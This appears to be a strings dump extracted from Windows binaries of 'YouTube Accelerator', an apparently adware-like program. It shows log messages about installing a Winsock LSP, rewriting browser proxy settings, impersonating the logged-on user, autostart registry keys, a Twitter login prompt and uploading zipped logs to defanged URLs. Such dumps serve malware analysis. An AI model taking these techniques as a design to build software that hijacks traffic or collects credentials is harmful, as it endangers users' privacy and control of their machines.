[CEventsThread::AlertEvent] ___Error Invalid Event Entry: %d
[CEventsThread::AlertEvent] ___Error Not found Event: %d
[CEventsThread::SetGlobalEvent] ___Error Invalid Event Entry: %d
[CEventsThread::SetGlobalEvent] ___Error Not found Event: %d
[CEventsThread::SetGlobalEvent] Event: %d
[CEventsThread::ResetEvent] ___Error ResetEvent failed: %d
[CEventsThread::ResetEvent] ___Error Invalid Event Entry: %d
[CEventsThread::ResetEvent] ___Error Not found Event: %d
[CEventsThread::ResetEvent] Event: %d
[CEventsThread::CallProcessEventRoutines] ___Error Invalid Event Entry: %d
[CEventsThread::CallProcessEventRoutines] ___Error Invalid Event Index: %d
[CEventsThread::RemoveEvent] ___Error CloseHandle failed: %d
[CEventsThread::RemoveEvent] ___Error Invalid Event Entry: %d
[CEventsThread::RemoveEvent] ___Error Not found Event: %d
[CEventsThread::RemoveEvent] Event: %d
[CEventsThread::Cleanup] ___Error CloseHandle(0x%p) failed: %d
[CEventsThread::Cleanup] Closing Handle: %d
[CEventsThread::WaitEvent] TID=%X
[CEventsThread::Work] TID=%X - Exit !!!
[CEventsThread::Work] WAIT_ABANDONED - %d
[CEventsThread::Work] TID=%X
B[CEventsThread::AddEvent] ___Warning event handle already exists %d
[CEventsThread::AddEvent] ___Error invalid event handle %d
[CExecuteUpdate::OnDeserialize] ___Error get m_ShowCmd
[CExecuteUpdate::OnDeserialize] ___Error get m_Directory
[CExecuteUpdate::OnDeserialize] ___Error get m_Parameters
[CExecuteUpdate::OnDeserialize] ___Error get m_Operation
[CExecuteUpdate::OnDeserialize] ___Error get m_File
[CExecuteUpdate::RunUpdate] ___Error ShellExecute: %s, Faild: %d
http_port
user.js
user_pref("network.proxy.
autoconfig_url
Windows XP Firewall (ICF)
SOFTWARE\McAfee.com\Personal Firewall
DAP.EXE
Windows Security Alert
%d.%d.%d.%d
HttpHandleAll
HttpWorkerBufferLimit
HttpListenPort
HttpListenIP
.html
\winhlp32.exe
[CIEInternetProxySettings::RetriveProxyConfiguration - Exit] list.pOptions == NULL
[CIEInternetProxySettings::ApplyProxyConfiguration] InternetSetOption( INTERNET_OPTION_REFRESH ) - Failed: %d
[CIEInternetProxySettings::ApplyProxyConfiguration] InternetSetOption( INTERNET_OPTION_SETTINGS_CHANGED ) - Failed: %d
[CIEInternetProxySettings::ApplyProxyConfiguration] InternetSetOption() - Failed: %d
[CIEInternetProxySettings::IsOptionIncluded] NOT Found - Option: %d, Value: %d
[CIEInternetProxySettings::IsOptionIncluded] Found - Option: %d, Value: %d
[CIEInternetProxySettings::IsOptionIncluded] NOT Found - Option: %d, Value: %s
[CIEInternetProxySettings::IsOptionIncluded] Found - Option: %d, Value: %s
[CIEInternetProxySettings::IsOptionIncluded] Found - Option: %d, Value: NULL
[CIEInternetProxySettings::SetProxyConfigScript] InternetSetOption( INTERNET_OPTION_REFRESH ) - Failed: %d
[CIEInternetProxySettings::Refresh] InternetSetOption( INTERNET_OPTION_SETTINGS_CHANGED ) - Failed: %d
[CIEInternetProxySettings::SetProxyConfigScript] InternetSetOption() - Failed: %d
[CIEInternetProxySettings::SetProxyConfigScript] list.pOptions == NULL
[CIEInternetProxySettings::GetCurrentUserKey] User Key: %p
[CIEInternetProxySettings::GetCurrentUserKey] ___Error spIImpersonateThread == NULL
[CIEInternetProxySettings::SetProxyConfigScript] InternetSetOption( INTERNET_OPTION_SETTINGS_CHANGED ) - Failed: %d
http=
[CIEInternetProxySettings::Save] %s - %s = %s
[CImpersonate::Impersonate] ImpersonateLoggedOnUser - Error: %d
[CImpersonate::Impersonate] Impersonated: %d
[CImpersonate::Revert] RevertToSelf - Error: %d
[CImpersonate::Revert] Impersonated: %d
[CImpersonate::Cleanup] Impersonated: %d
[CImpersonate::GetUserSID] LookupAccountNameW failed. GetLastError returned: %d
[CImpersonate::GetUserSID] The SID for %s is invalid.
[CImpersonate::GetUserSID] Not Enough Memory: %d
[CImpersonate::SetPrivilege] AdjustTokenPrivileges - Error: %d
[CImpersonate::SetPrivilege] LookupPrivilegeValue - Error: %d
[CImpersonate::OpenCurrentUserDesktop] - The function does not support Windows Vista and Windows 98
[CImpersonate::OpenCurrentUserDesktop] OpenDesktop - Error: %d
[CImpersonate::OpenCurrentUserDesktop] OpenInputDesktop - Error: %d
[CImpersonate::OpenCurrentUserDesktop] SetProcessWindowStation - Error: %d
[CImpersonate::OpenCurrentUserDesktop] OpenWindowStation - Error: %d
[CImpersonate::OpenCurrentUserDesktop] GetProcessWindowStation - Error: %d
[CImpersonate::OpenCurrentUserDesktop] - The function does not support MAC
[CImpersonate::CreateProcessAsCurrentUser] CreateProcessAsUser - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] CreateEnvironmentBlock - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] AddAceToDesktop - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] AddAceToWindowStation - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] GetLogonSID - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] DuplicateTokenEx - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] OpenDesktop - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] SetProcessWindowStation - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] OpenWindowStation - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] GetProcessWindowStation - Error: %d
[CImpersonate::AddAceToWindowStation] SetUserObjectSecurity - Error: %d
[CImpersonate::AddAceToWindowStation] SetSecurityDescriptorDacl - Error: %d
[CImpersonate::AddAceToWindowStation] CopySid - Error: %d
[CImpersonate::AddAceToWindowStation] AddAce - Error: %d
[CImpersonate::AddAceToWindowStation] GetAce - Error: %d
[CImpersonate::AddAceToWindowStation] GetAclInformation - Error: %d
[CImpersonate::AddAceToWindowStation] GetUserObjectSecurity - Error: %d
[CImpersonate::AddAceToDesktop] SetUserObjectSecurity - Error: %d
[CImpersonate::AddAceToDesktop] SetSecurityDescriptorDacl - Error: %d
[CImpersonate::AddAceToDesktop] AddAccessAllowedAce - Error: %d
[CImpersonate::AddAceToDesktop] AddAce - Error: %d
[CImpersonate::AddAceToDesktop] GetAce - Error: %d
[CImpersonate::AddAceToDesktop] GetSecurityDescriptorDacl - Error: %d
[CImpersonate::AddAceToDesktop] GetUserObjectSecurity - Error: %d
[CImpersonate::OpenCurrentUserKey] LoadUserProfile - SUCCESS
[CImpersonate::OpenCurrentUserKey] LoadUserProfile failed - Error: %d
[CImpersonate::GetLogonUserName] GetLogonUserName - Error: %d
[CImpersonate::OpenCurrentUserKey] RegOpenCurrentUser - Error: %d
[CImpersonate::OpenCurrentUserKey] RegOpenCurrentUser - SUCCESS
[CImpersonate::OpenCurrentUserKey] Impersonated: %d
[CImpersonate::FindLoggedOnUser] Process32First - Error: %d
[CImpersonate::FindLoggedOnUser] OpenProcess - Error: %d
[CImpersonate::FindLoggedOnUser] OpenProcessToken - Error: %d
[CImpersonate::FindLoggedOnUser] CreateToolhelp32Snapshot failed - Error: %d
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
explorer.exe
[CImpersonate::FindLoggedOnUser] Impersonated: %d
[CImpersonate::GetLogonUserName] Name: %s
[CImpersonate::GetLogonUserName] GetUserName - Error: %d
[CImpersonateThread::NotifyImpersonateLogon] Time: %d
[CImpersonateThread::NotifyImpersonateLogoff] Time: %d
[CImpersonateThread::ProcessEvent] CreateProcess - CmdLine: %s, AppName: %s, ShowCmd: %d
[CImpersonateThread::Start ] ___Error SetConsoleCtrlHandler(TRUE), LE: %d
[CImpersonateThread::Start ] ___Error SetConsoleCtrlHandler(FALSE) failed: %d
[CImpersonateThread::CreateProcess] CmdLine: %s, AppName: %s, ShowCmd: %d
Name: %s
Path: %s
Version: %s
%s_%d.log
CSLogReportEventThread::DoPacLogFiles] Zip file created.
*.bak
CSLogReportEventThread::DoPacLogFiles] ___Error FindFirstFile( %s ): %d
*.log
Config.xml
CSLogReportEventThread::DoPacLogFiles] ___Error to Create Zip file.
BakLspCommTest.zip
LspCommTest.zip
[CSLogReportEventThread::DoPostZipFile] ___Error POST FAILED. LE: %X
[CSLogReportEventThread::DoPostZipFile] POST SUCCEEDED
hXXp://online.@[email protected]/online/CommunicationTestFailed.aspx
[CSLogReportEventThread::DoPostZipFile] Trying to POST...
[CSLogReportEventThread::DoPostZipFile] ___Error CHttp to Connect: %X, Server: %s
hXXp://online.@[email protected]/online/
CSLogReportEventThread::DoPostZipFile] ___Error CFile64 to get Zip file length.
CSLogReportEventThread::DoPostZipFile] ___Error CFile64 to open file: %s
[ProxySettingsConfiguration::RestoreOriginalSettings] ___Error ApplyIEProxySettings - Wait: %d
[ProxySettingsConfiguration::RestoreOriginalSettings] ___Error ApplyIEProxySettings - ProcessCommand: %d
[ProxySettingsConfiguration::SaveApplied] ___Error RetrieveIEProxySettings - Wait: %d
[ProxySettingsConfiguration::SaveApplied] ___Error RetrieveIEProxySettings - ProcessCommand: %d
[ProxySettingsConfiguration::SaveOriginal] ___Error RetrieveIEProxySettings - Wait: %d
[ProxySettingsConfiguration::SaveOriginal] ___Error RetrieveIEProxySettings - ProcessCommand: %d
[ProxySettingsConfiguration::RetriveExisting] ___Error RetrieveIEProxySettings - Wait: %d
[ProxySettingsConfiguration::RetriveExisting] ___Error RetrieveIEProxySettings - ProcessCommand: %d
[ProxySettingsConfiguration::SetProxyConfigScript] ___Error SetProxyConfigScript - Wait: %d
[ProxySettingsConfiguration::SetProxyConfigScript] ___Error SetProxyConfigScript - ProcessCommand: %d
SOFTWARE\GOOBZO\YouTube Accelerator\%s\Original
SOFTWARE\GOOBZO\YouTube Accelerator\%s\Current
M[CRegistrationMgr::IsTrialVersion]%d
exp=%d
ins=%d
Dur=%d
[CRegistrationMgr::SetTrial] ___Error XMLNode::emptyNode %s
[CRegistrationMgr::UpdateTrialParams] ___Error XMLNode::emptyNode %s
Trial.dat
Trial_QA.xml
[CRegistrationMgr::StartTrial] ___Error XMLNode::emptyNode %s
[CRegistrationMgr::GetBoolNagFlagTrialExpAcceleration] ___Error XMLNode::emptyNode .%d
[CRegistrationMgr::GetBoolNagFlagTrialExpAcceleration] ___Error XMLNode::emptyNode %d
[CRegistrationMgr::GetBoolNagFlagTrialExpAcceleration] ___Error XMLNode::emptyNode %s
[CRegistrationMgr::HandleTrialScenario] ___Error XMLNode::emptyNode %d
[CRegistrationMgr::HandleTrialScenario] ___Error XMLNode::emptyNode %s
[CRegistrationMgr::GetBuyNowDailyString] ___Error XMLNode::emptyNode .%d
[CRegistrationMgr::GetBuyNowDailyString] ___Error XMLNode::emptyNode %d
[CRegistrationMgr::GetBuyNowDailyString] ___Error XMLNode::emptyNode %s
[CRegistrationMgr::GetRotatedString] ___Error XMLNode::emptyNode %d
[CRegistrationMgr::GetRotatedString] ___Error XMLNode::emptyNode %s
[CRegistrationMgr::GetContinueTrialDailyString] ___Error XMLNode::emptyNode %d
[CRegistrationMgr::GetContinueTrialDailyString] ___Error XMLNode::emptyNode %s
(%d days left)
DAYURL
[CRegistrationMgr::GetDailyUrl] ___Error XMLNode::emptyNode %d
[CRegistrationMgr::GetDailyUrl] ___Error XMLNode::emptyNode %s
[CRegistrationMgr::GetDailyUrl]
[CRegistrationMgr::GetContinueTrialDailyUrl] ___Error XMLNode::emptyNode %d
[CRegistrationMgr::GetContinueTrialDailyUrl] ___Error XMLNode::emptyNode %s
[CRegistrationMgr::GetContinueTrialDailyUrl]
[CRegistrationMgr::GetContinueTrialBtnTxt] ___Error XMLNode::emptyNode %d
[CRegistrationMgr::GetContinueTrialBtnTxt] ___Error XMLNode::emptyNode %s
xmldb.dll
config.xml
RtmpListenPort
MiTunes.exe
[CSA_GUIApp::RegisterCommTestEvents] ___Error m_pPipeEventThread == NULL
[CSA_GUIApp::UnRegisterCommTestEvents] ___Error m_pPipeEventThread == NULL
[CSA_GUIApp::IsTrial] m_bIsTrial = %d
User%d
[CSA_GUIApp::GoToURL] ___Error FindExecutable failed url = %s
[CSA_GUIApp::GoToURL] ___Error The specified file was not found
YouTubeAccelerator.exe
[CSA_GUIApp::IsTestingSucceeded] InstalledLspVersion: %s, SBLSP: %s
ytalsp.dll
[CSA_GUIApp::UpdateRunOnStartup] Creating Run on startup registry key for %s
[CSA_GUIApp::RunUnwise] ___Error WaitForSingleObject: %d
[CSA_GUIApp::RunUnwise] ___Error CreateProcess: %d, Command: %s
unwise.exe
[CSA_GUIApp::GetTempDir] ___Error GetTempPath: %d
[CSA_GUIApp::GetTempDir] Folder: %s
[CSA_GUIApp::RunFromTemp] ___Error CreateProcess: %d, Command: %s
%s %s
[CSA_GUIApp::RunFromTemp] ___Error Copy: %s - to Temp: %s
YoutubeAcceleratorService.exe
D[CSA_GUIApp::SetTestingSucceeded] InstalledLspVersion: %s
[CSA_GUIApp::UpdateResourceDll] ___Error Removing %s. Err = %d
[CSA_GUIApp::UpdateResourceDll] ___Error Renaming %s to %s. Err = %d
[CSA_GUIApp::UpdateResourceDll] ___Error ExtractDataFromResFile: %x (Temp)
[CSA_GUIApp::UpdateResourceDll] VAResTemp.dll file Path: %s
Res\VARes_%d\
[CSA_GUIApp::UpdateResourceDll] ___Error ExtractDataFromResFile: %x
[CSA_GUIApp::UpdateResourceDll] ___Error CreateDirectoryRecursivlyFromPath: %x
[CSA_GUIApp::UpdateResourceDll] Resources Folder: %s
VARes_%d\
[CSA_GUIApp::UpdateResourceDll] DllVer: %d, RegVer: %d, TmpVer: %d
ResOld.dll
ResTemp.dll
[CSA_GUIApp::UpdateResourceDll] ___Error GetPath: %x
[CSA_GUIApp::RunFinishHtml] GotoURL status is %d
[CSA_GUIApp::RunFinishHtml] Finish URL is : %s
hXXp://@BRAND_ID@.@[email protected]/finishinstall?
hXXp://rep.@[email protected]/app/ping.ashx
engine.dll
[CSA_GUIApp::FormatURL] URL: %s
&TrialDaysLeft=%d
?V=%s&pr=%d&Beta=%d&Emode=%d
[CSA_GUIApp::InitInstance] __Error m_pPipeEventThread = NULL
[CSA_GUIApp::InitInstance] Uninstall URL - GotoURL status is %d
[CSA_GUIApp::InitInstance] ___Error to load VideoAccelerator - CreateDialog Failed: %d
VA???.lng
[CSA_GUIDlg::OnShowTrayIcon] - m_TrayIcon.ShowIcon() Failed !!!
[CSA_GUIDlg::SetOpenMainWindowDisableFlag]bVal = %d
%s&OEM=%s
hXXp://@BRAND_ID@.@[email protected]/support/help
VIDEO_ACCELERATOR.MHT
[CSA_GUIDlg::ShowMenora] ___Error No lending url
[CSA_GUIDlg::OnMenoraOpen] ___Error url empty
[CSA_GUIDlg::RunLspInstaller] ___Error - LSP installer returned after Timeout, error %d
[CSA_GUIDlg::RunLspInstaller] ___Error - LSP installer returned failure %d, error %d
[CSA_GUIDlg::RunLspInstaller] Wait for LSP Installer process to complete for %d milsecs...
[CSA_GUIDlg::RunLspInstaller] Executing LSP Installer process: %s
-b -d %s
lspinst2.exe
lspinst.exe
CSABaseWebWindow::OnBeginDrag
CSABaseWebWindow::OnStopDrag
ECSABaseWebWindow::Navigate : url = %s
CSABaseWebWindow::OnNavigateError : url = %s
CSABaseWebWindow::OnNavigateComplete : url = %s
CSABaseWebWindow::OnDocumentComplete : url = %s
CSANotifierWebWindow::SetMetaData GOT 'height'
CSANotifierWebWindow::SetMetaData GOT 'width'
[CSANotifierWebWindow::ReplaceLNGTags] replacing "%s" with "%s" = "%s" from String table
[CSANotifierWebWindow::ReplaceLNGTags] ___Error no "%s" in String table, putting "%s"
[CSANotifierWebWindow::ReplaceLNGTags] ALT case replacing <STRING_GOES_HERE> at "%s" with "%s" = "%s" from String table
[CSANotifierWebWindow::ReplaceLNGTags] ___Error ALT case no "%s" in String table, putting "%s" instead of <STRING_GOES_HERE> at "%s"
[CSANotifierWebWindow::ReplaceLNGTags] length %d
[CSANotifierWebWindow::ReplaceLNGTags]
[CSANotifierMgr::GetAvaliableNotifier] Message %d is already displayed
ItweetMessage.mht
SilentTestFailed.mht
SilentTestSucceeded.mht
ITUNESMESSAGE.MHT
hXXp://VVV.fileratings.com/video/@PRODUCT_DOMAIN@/12/buyiTunes.asp
OldDriver.mht
Activation_Expired.mht
noupdates.mht
exiting.mht
va_on.mht
va_off.mht
dl_update.mht
update.mht
HD_DISABLED.MHT
ACCELERATION_NOT_SUPPORTED.MHT
now_accelerating.mht
ACCELERATION_NOT_SUPPORTED_CHECKBOX
ACCELERATION_NOT_SUPPORTED_BUTTON_OK
%d days left.
%d Days left
<d/d/%d d:d:d::d 0x%X>
[SbTracer::RegisterOnConfigurationChange] ___Error: %d, RegNotifyChangeKeyValue
[SbTracer::RegisterOnConfigurationChange] ___Error: %d, RegOpenKeyEx
[SbTracer::RecursiveCreateDirectory] Directory: %s
[SbTracer::RecursiveCreateDirectory] ___Error - CreateDirectory: %s
[SbTracer::RecursiveCreateDirectory] ___Error - Directory: %s
[SbTracer::FormatFilePath] Log Path: %s
[SbTracer::FormatFilePath] ___Error - RecursiveCreateDirectory: %s
[SbTracer::FormatFilePath] ___Warning - No Log folder: %s
[SbTracer::FormatFilePath] ___Error - GetModuleFileName: %s
\StringFileInfo\x\%s
[SbTracer::ReadConfiguration] Trace Max Size: %d
[SbTracer::ReadConfiguration] Trace Time Stamp: %d
[SbTracer::ReadConfiguration] Trace Time Limit: %d
[SbTracer::ReadConfiguration] Trace Backup: %d
[SbTracer::ReadConfiguration] Trace Destination: %d
[SbTracer::ReadConfiguration] Trace Level: %d
[SbTracer::BackupTraceFile] %s
[SbTracer::OpenTraceFile] Done %s
[SbTracer::OpenTraceFile] ___Error: %d, File: %s
[SbTracer::WriteTraceLine] !!! OVERFLOW or FORMAT ERROR !!! - (%d) %s
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] SetSecurityDescriptorDacl failed. GetLastError returned: %d
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] InitializeSecurityDescriptor failed. GetLastError returned: %d
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the trusted owner. GetLastError returned: %d
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the Everyone group. GetLastError returned: %d
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the queue owner. GetLastError returned: %d
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] InitializeAcl failed. GetLastError returned: %d
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] GetLogonSID failed. Error code: 0x%X
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AllocateAndInitializeSid failed. GetLastError returned: %d
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] GetTokenInformation failed. GetLastError returned: %d
[CSerializable::GetField] ___Error - Vector size missmatch. Code: %d
F[CServiceController::ChangeStartType] ___Error ChangeServiceConfig failed: %d
[CServiceController::ChangeStartType] ___Error OpenService: %s, failed: %d
[CServiceController::ChangeStartType] ___Error OpenSCManager failed: %d
[CServiceController::ChangeStartType] Name: %s
[CServiceController::ExecuteServer] Exit
[CServiceController::ExecuteServer] Enter
[CServiceController::ServiceMain] ___Error SetServiceStatus Failed: %d
[CServiceController::ServiceMain] ___Error RegisterServiceCtrlHandler Failed: %d
[CServiceController::UpdateServiceDespatchTable] ___Error Exception StartServiceCtrlDispatcher Failed: %d
[CServiceController::UpdateServiceDespatchTable] ___Error StartServiceCtrlDispatcher Failed: %d
[CServiceController::UpdateServiceDespatchTable] Enter, %s
[CServiceController::Install] ___Error OpenService Failed: %d
[CServiceController::Install] ___Error QueryServiceStatus Failed: %d
[CServiceController::Install] ___Error CreateService Failed: %d
[CServiceController::Install] ___Error OpenSCManager Failed: %d
%s -%s -%s
%s\%s
[CServiceController::Install] ___Error GetModuleFileName Failed: %d
[CServiceController::Remove] ___Error OpenService Failed: %d
[CServiceController::Remove] ___Error OpenSCManager Failed: %d
[CServiceController::GetStatus] ___Error QueryServiceStatus Failed: %d
[CServiceController::GetStatus] ___Error OpenService Failed: %d
[CServiceController::GetStatus] ___Error OpenSCManager Failed: %d
[CServiceController::Start] The service %s was started
[CServiceController::Start] ___Error StartService Failed: %d
[CServiceController::Start] ___Error OpenService Failed: %d
[CServiceController::Start] ___Error OpenSCManager Failed: %d
[CServiceController::Start] Going to start the service %s
[CServiceController::Stop] The service %s was stopped
[CServiceController::Stop] ___Error ControlService Failed: %d
[CServiceController::Stop] ___Error OpenService Failed: %d
[CServiceController::Stop] Going to stop the service %s
[CServiceController::Stop] ___Error SetServiceStatus Failed: %d
[CServiceController::GetArgsFromCmd] Exit
[CServiceController::GetArgsFromCmd] m_bSCMCmd = TRUE
[CServiceController::GetArgsFromCmd] Enter
[CServiceController::RunCommand] Args: %s
I[CSettingDlg::LoadEngine] ___Error to Create IHttpEngineConfiguration
[CSettingDlg::OnInitDialog] ___Error to Create IHttpEngineConfiguration
WININET.DLL
Gkernel32.dll
d/d/%d d:d:d::d
[CUtils::GoToURL] ___Error WinExec url = %s, defBrowser = %s, err = %d
"%s" "%s"
"%s" %s
[CVA_Alert::OnDeserialize] ___Error get m_LandingUrl
[CVA_Alert::OnDeserialize] ___Error get m_URL
[ACCELINFO::OnDeserialize] ___Error get URL
SOFTWARE\Microsoft\Windows\CurrentVersion\Run
zvl=%s&
%s?e=%s
SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings
Hcomctl32.dll
Hcomdlg32.dll
Hshell32.dll
accKeyboardShortcut
f:\dd\vctools\vc7libs\ship\atlmfc\include\afxwin2.inl
Afx:%p:%x:%p:%p:%p
Afx:%p:%x
commctrl_DragListMsg
Hf:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\filetxt.cpp
Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Software\Microsoft\Windows\CurrentVersion\Policies\Network
Software\Microsoft\Windows\CurrentVersion\Policies\Comdlg32
ntdll.dll
%s%s.dll
f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\appcore.cpp
f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\array_s.cpp
mfcm90u.dll
f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\auxdata.cpp
Jf:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\filecore.cpp
J.INI
J.com
DLG_%u
PID%u
les (x86)\YouTube Accelerator\YouTubeAccelerator.exe
Important:
Port:
Contact Our Support
See supported video sites
Join Today!
2.0.5.3
Watch YouTube and other web videos without pauses.
Twitter login
Password:
Enter your username and password for Twitter:
<div class="videoitem"><div class="videoimage"><div border" id="%s"><a href="%s" onmouseover="setBorder('%s','1');" onmouseout="setBorder('%s','0');"><img src="images/video/3.jpg" name="moreimg" width="68" /></a></div></div><div class="videotxt">%s</div>
Communications test failed.JWe believe it might be a Security / Firewall issue.
For additional information, contact our support at:
hXXp://@[email protected]/support/
hXXp://@[email protected]/support/VWe believe the problem might be caused by Karspersky antivirus.
hXXp://@[email protected]/support/
Enter port,Please enter a valid Port number (0 - 65536)UPlease enter a valid Domain name or IP address
(e.g. sample.proxy.com, 192.168.1.100)
@BRAND@ - Settings error!3{lX-X-x-XX-XXXXXX}!Get the premium video experience.!The premium web video experience.6Enjoy HD videos and iTunes purchases without the wait.P@BRAND@ Premium
lets you enjoy HD videos and iTunes downloads without the wait.XPlease Approve @BRAND@ in your Firewall and/or Antivirus to complete the Installation...
@BRAND@ECheck out the video %s from %s I'm watching it smoothly with @[email protected] out the video from %s I'm watching it smoothly with @BRAND@.!You are using %s - Translated by:
@BRAND@ is accelerating...#Restart required to change languageeYou have selected %s as VA's interface language.
@BRAND@ Trial version!The ultimate web video experienceN@BRAND@ lets you enjoy smooth web videos and iTunes download without the wait.
!The ultimate web video experienceN@BRAND@ lets you enjoy smooth web videos and iTunes download without the wait.
Normal video acceleration\Watch smooth web videos with bit rates up to 100 KBps without buffering & interruptions.
HD Video AccelerationNStop waiting while you watch HD web videos with high bit rates above 200 KBps.
Supported Video Sites
Every web video just got better
All Files (*.*)
No error message is available.#Attempted an unsupported operation.$A required resource was unavailable.
Command failed.)Insufficient memory to perform operation.PSystem registry entries have been removed and the INI file (if any) was deleted.BNot all of the system registry entries (or INI file) were removed.FThis program requires the file %s, which was not found on this system.tThis program is linked to the missing export %s in the file %s. This machine may have an incompatible version of %s.
Destination disk drive is full.5Unable to read from %1, it is opened by someone else.AUnable to write to %1, it is read-only or opened by someone else.1Encountered an unexpected error while reading %1.1Encountered an unexpected error while writing %1.
#Unable to load mail system support.
3.3.8.9

jsdrv.exe_2836:




.text
`.rdata
@.data
.rsrc
@.reloc
HTTPt
Wh0%C
WhP%C
SRhH%D
FV<.tN<[tJ<\tF<*tB<|t><^t:<$t6
QSSSSh`
QRhL%F
u.PSh
Tu8%XuJ@Uu
Tu.AUub
<d/d/%d d:d:d::d 0x%X>
[SbTracer::RegisterOnConfigurationChange] ___Error: %d, RegNotifyChangeKeyValue
[SbTracer::RegisterOnConfigurationChange] ___Error: %d, RegOpenKeyEx
[SbTracer::RecursiveCreateDirectory] Directory: %s
[SbTracer::RecursiveCreateDirectory] ___Error - CreateDirectory: %s
[SbTracer::RecursiveCreateDirectory] ___Error - Directory: %s
[SbTracer::FormatFilePath] Log Path: %s
[SbTracer::FormatFilePath] ___Error - RecursiveCreateDirectory: %s
[SbTracer::FormatFilePath] ___Warning - No Log folder: %s
[SbTracer::FormatFilePath] ___Error - GetModuleFileName: %s
\StringFileInfo\x\%s
[SbTracer::ReadConfiguration] Trace Max Size: %d
[SbTracer::ReadConfiguration] Trace Time Stamp: %d
[SbTracer::ReadConfiguration] Trace Time Limit: %d
[SbTracer::ReadConfiguration] Trace Backup: %d
[SbTracer::ReadConfiguration] Trace Destination: %d
[SbTracer::ReadConfiguration] Trace Level: %d
[SbTracer::BackupTraceFile] %s
[SbTracer::OpenTraceFile] Done %s
[SbTracer::OpenTraceFile] ___Error: %d, File: %s
[SbTracer::WriteTraceLine] !!! OVERFLOW or FORMAT ERROR !!! - (%d) %s
Windows CE
Windows 7
Windows Vista
Windows 2003 Server
Windows XP
Windows 2000
Windows NT
Windows Me
Windows 98
Windows 95
[CLoader::DisableDnsController] ___Error Disabling Dns Redirect Controller. LE: %X
[CLoader::ProcessTimeoutEvent] ___Warning: Unsupported event (%d)
[CLoader::AddRef] RefCount: %d
[CLoader::Release] RefCount: %d
[CLoader::UpdateVersionStatus] Status: %d (%d)
[CLoader::UnLoadRedirector] ___Error to Stop the Redirect Controller. LE: %d
[CLoader::GetMode] Engine Mode = %d
- m_ImpersonateDone = %d, m_DoLoadModules = %d m_UIRunning = %d
spCmd
[CLoader::DoStop] ___Error UnLoadMonitor - %X
[CLoader::DoStop] ___Error UnLoadRedirector - %X
[CLoader::DoStop] ___Error UnLoadProxy - %X
[CLoader::Load] Added %d m_nLSPConfChangedEvent
[CLoader::IsToLoadProxyModule] ___Error to Create IHttpEngineConfiguration
[CLoader::IsToLoadProxyModule] FALSE - Partner: %s
[CLoader::IsToLoadProxyModule] OEM: %s, Partner: %s
Monitor.dll
%d.%d.%d.%d
[CLoader::LoadProxy] ___Error: Failed To Create the proxy, CreateProxy: %d
[CLoader::RunLspInstaller] ___Error CreateProcess: %d
[CLoader::RunLspInstaller] CreateProcess: %s
\\.\pipe\VAPIPESERVERENG
[CLoader::RunPartnerCommTest] ___Error to create CommTest process. LE: %d
CommTest.exe
[CLoader::FixLSPStatus] Not going to fix LSP, it has been called %d times
[CLoader::CheckOurLSPStatus] Done.
[CLoader::CheckOurLSPStatus] ___Error CreateProcess: %d
[CLoader::CheckOurLSPStatus] CreateProcess: %s
[CLoader::CheckOurLSPStatus]
EmptyKey
[CLoader::InitCore] ___Warning - failed Open Current User Key - ProductInfo.m_hKeyRoot = ACCELERATOR_GLOBAL_KEY
3.3.9.3
[CLoader::InstallLsp] Done - %s
[CLoader::InstallLsp] Running second LSP installation method - %s
2.exe
[CLoader::SetLastTestSucceeded] InstalledLspVersion: %s
[CLoader::UnInstallLSP] Done - %s
Name: %s
Path: %s
Version: %s
%s_%d_%s.log
[CLoader::LoadModules] Already loaded, Status = %d, return...
[CLoader::ProcessEvent] ___Warning: Unsupported event (%d)
[CLoader::ProcessEvent] m_nLSPConfChangedEvent - Added %d
[CLoader::ProcessEvent] m_nLSPConfChangedEvent - LSP configuration has changed, event %d
[CLoader::ProcessEvent] m_UninstallLspProcess - GetExitCodeProcess() returned: %d
[CLoader::ProcessEvent] m_nLspKeepAliveProcess - Added %d m_nLSPConfChangedEvent
[CLoader::ProcessEvent] m_nLspKeepAliveProcess - GetExitCodeProcess() returned: %d
[CLoader::ProcessEvent] m_nLspKeepAliveProcess - Check if our LSP installed DONE, event %d
[CLoader::ProcessEvent] m_InstallLspProcess - GetExitCodeProcess returned: %d
[CLoader::ProcessEvent] m_CommTestSucceeded - Added %d m_nLSPConfChangedEvent
%sLow\%s\
%C:\Users\Public\Documents\%s\%s\
%s\%s\%s\
%s\Application Data\%s\%s\
jsdrv.exe
config.xml
[CImpersonateThread::NotifyImpersonateLogon] Time: %d
[CImpersonateThread::NotifyImpersonateLogoff] Time: %d
[CImpersonateThread::ProcessEvent] CreateProcess - CmdLine: %s, AppName: %s, ShowCmd: %d
[CImpersonateThread::CreateProcess] CmdLine: %s, AppName: %s, ShowCmd: %d
[CImpersonateThread::Start ] ___Error SetConsoleCtrlHandler(TRUE), LE: %d
[CImpersonateThread::Start ] ___Error SetConsoleCtrlHandler(FALSE) failed: %d
\\.\pipe\VAPIPESERVERUI
[CBaseProviderProc::WSPAccept] ___Warning m_ProcTable.lpWSPAccept is not initialized, calling WSAAccept
[CBaseProviderProc::WSPAddressToString] ___Warning m_ProcTable.lpWSPAddressToString is not initialized, calling WSAAddressToString
